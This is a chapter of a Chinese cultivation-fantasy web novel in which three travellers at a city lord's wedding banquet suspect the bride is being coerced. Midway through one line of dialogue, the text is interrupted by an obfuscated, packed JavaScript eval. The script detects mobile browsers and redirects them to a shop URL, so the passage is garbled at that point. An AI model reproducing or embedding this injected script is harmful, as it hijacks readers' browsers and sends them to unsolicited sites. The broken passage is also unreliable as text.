钟鸣翻翻口袋,每年那些人贿赂给他的宝贝多了去了,钟离也不管,孔煊就出了个馊主意,东西收下,态度模棱两可,反正好处拿了实事一点不干,钟鸣每天拿着别人贿赂的东西上供给师父。 当然,钟离也看不上。 现在,钟鸣内视洞天之中的东西,随手挑了个火玄晶,巴掌大一块火玄晶,要经过千年沉淀,向来只在火晶矿中汲取精华才能成型,炼器的好东西,但是对钟鸣来说没用。 他一行三人,仅仅是出手一块火玄晶,加上那超然贵气的气质,便叫这位老管家神色谄媚起来。 “三位尊者不知名号为何啊?当真是大手笔,快快请上座。” 老管家给身后的门童使个眼色,让他接过自己手头的事情,亲自将三人引进门去,这婚宴摆得是相当大一个场面啊,来来往往的宾客坐满了席位,而钟鸣却凭借着那可难得的火玄晶坐上了贵宾席。 一边走,这老管家一边向他打探口风,明里暗里想探探是何方势力门下弟子,能有着火玄晶为礼,看来也不是很稀罕,想必定然是奇珍异宝见多了,这样的人,若说不是什么大家族子弟,那就是自身有些实力。 钟鸣哪有什么名号,他悄悄侧眼去看孔煊,孔煊哪里会打什么官腔,裕丰这时候的作用就体现出来了,他会说。 “我们少主的身份是你能打听的,此番前来不过是看个热闹,既然收了礼,就当是为贵客作罢。” “是我多嘴,我的不是了,诸位请。” 这管家将他们引到最前头,那几个座位都是空的,边上也没有人,想来待会儿应该是给那两位结契的道侣所准备的,这桌人少,倒也算清静。 钟鸣就在此落座,离得近,看得也清,刚才还在绕城的队伍早就没入这城主府,现在都去准备正事了,先前那位露面的城主也换了身衣裳走出来,他的准道侣嘛,依然神秘地未显露人前。 台下一些宾客大多是来凑数的,有些也算是来巴结巴结城主,这么一遭走下来,天色也渐渐黑了下去,钟鸣琢磨着品出点味道了。 “这不对劲啊。” “什么不对劲?”裕丰吃着桌上的菜,又是灵菜又是兽肉,这一顿来得不亏,他嚼吧嚼吧一通很是疑惑。 “吃吃吃,你就知道吃,除了阿谀奉承,你其它时候都不动动脑子?” 孔煊看着他痛心疾首,虽然在这城中就待了一天,但是各路消息可逃不过他的耳朵,那城主半个月前就开始准备这一次婚宴了,全城的消息,但是他的道侣却始终没有露过一次面。 要知道,修仙界的女修可是个顶个的彪悍,怎么可能久居深闺,十天半月不见人影,况且这都要结契了,还不见人,当真是羞煞了? 他们坐得前,那台上放的又是誓婚书,那性质就不一样了。 虽然是修仙界,但是结契大典依旧对他们有着重要意义,依着今日这么热闹走一遭,是在昭示天道,他们今日结为夫妻,一荣俱荣一损俱损,命运自此被绑在一起,再加上誓婚书,此刻想要和离,除非其中一方折损半数修为。 用誓婚书的情况……就只有一个,有一方不愿意立下心魔誓,所以才用这个办法。 “他们不会是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233670|135751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抢亲吧?” 孔煊在这里侃侃而谈,裕丰也停下了他的筷子,有点回过味来,琢磨着这么问。 “算了算了,看看热闹得了,反正也不关我们的事。” 钟鸣坐在中间,按住裕丰和孔煊,他们人还在化风城内,怎么可能管得到那里去,何况这其中万一另有隐情呢?外出历练,还是要少管闲事,少惹烦恼。 但是有个事,叫做他们不想惹烦恼,烦恼偏要惹他们。 三人位置坐得显眼,来来往往的宾客也暗中猜测他们是何身份,想来结交的多了,孔煊一张嘴,能一句句地给他们上演一下话题终结者,两句话聊不下去。 钟鸣缩在小伙伴身后反而自在,这般云淡风轻的模样,在被那位城主胁迫着走出来的女修眼里,已经有个完美的计划了。 这位传言之中城主的道侣长得确实漂亮,一身青金色的衣裳,脸色看起来却并不是很好,她看起来顶多二八年华,与那位城主一对比,像是差了个辈儿。 这能怎么说,‘金童玉女’这个词都夸不出口,现场只有那位老管家主持场面的声音。 钟鸣在那里打量,却正好对上了那女修的目光,不情愿、痛恨的,活像是在看什么帮凶,憋着一口气,叫钟鸣不知怎么地,默默有些心虚地移开了视线,却不知道那女孩子看着他挪开的视线,暗自勾起的嘴角。 又不关他的事情,钟鸣却觉得看着这个场面就不喜欢。 孔煊也看出来了,他唾弃一句,“这就是那些人族修士,道貌岸然,自诩天才,哼,我看这城主也不怎么样嘛,比不上我好兄弟你的千万分之一!” 这时候都不忘拉踩一下,他的眼睛有时候确实能点破天机,那城主的天赋勉勉强强称得上中上,这其中定然又依靠了许多机缘,那位女修为水灵体,这城主又是木灵根。 水润木,两人为什么在一起,那不是显而易见,只怕这城主自从踏入元婴期,悟性不行,又不肯刻苦,多年毫无长进,不知怎的,遇上了这位女修士,想靠走些歪路子来精进自己。 “我倒是觉得,那女修……迟则生变。” 钟鸣看着桌子,短短对视的一瞬间,他却觉得那位女修不像是甘愿认命的样子,此刻他们怕是要惹上麻烦了。 裕丰却拍拍胸脯,“放心吧少主,有我在,元婴期有什么可怕的。” 确实不可怕,钟鸣也不是什么怕事的人,但是要知道,他们此行是为了一路去往万剑山,要是路上这个管一下,那个也看一下,那得是走到猴年马月去了。 心里盘算边上两个小伙伴没看出来,倒是勾起了芥子之中的令羽看热闹的心。 “龙君大人,你说,他们会不会选择帮这女子?” “也许会。” 钟离与令羽心知肚明,就按照钟鸣他们涉世不深的经验,他们就算心里不想惹麻烦,到最后定然不得不涉入这件事情。 要知道,行走在外,女孩子可得少招惹,能独身一人的,要么家里有靠山,要么心计实力都不少,这个万寿谷的女修士,人家医道称绝,武力不行,却不代表不能要人的命。